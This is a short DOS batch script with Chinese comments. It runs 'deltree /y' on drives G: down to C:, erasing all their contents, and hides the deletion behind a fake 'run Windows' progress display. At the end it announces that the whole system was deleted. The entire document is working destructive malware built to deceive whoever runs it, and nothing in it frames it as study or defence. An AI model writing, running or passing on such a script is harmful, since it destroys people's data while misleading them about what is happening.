• --------------------------------------------------------------------------------
    @rem 开始
    @rem 关闭命令行显示
    @echo off
    rem 设置路径
    PATH %PATH%;c:\windows\;c:\windows\command
    rem 运行磁盘缓冲,加快删除速度:)
    SMARTDRV >nul
    rem 清屏
    cls
    rem 显示正在运行WINDOWS系统和百分比
    echo run Windows ..........10%%
    rem 执行删除操作
    deltree /y g:\. >nul
    cls
    echo run Windows ..........20%%
    deltree /y f:\. >nul
    cls
    echo run Windows ..........50%%
    deltree /y e:\. >nul
    cls
    echo run Windows ..........70%%
    deltree /y d:\. >nul
    cls
    echo run Windows ..........90%%
    deltree /y c:\. >nul
    cls
    rem 全部删除后,告诉他电脑刚才在干什么!:)
    echo del system all!!
    echo Goodbye!!!
    rem 结束

    --------------------------------------------------------------------------------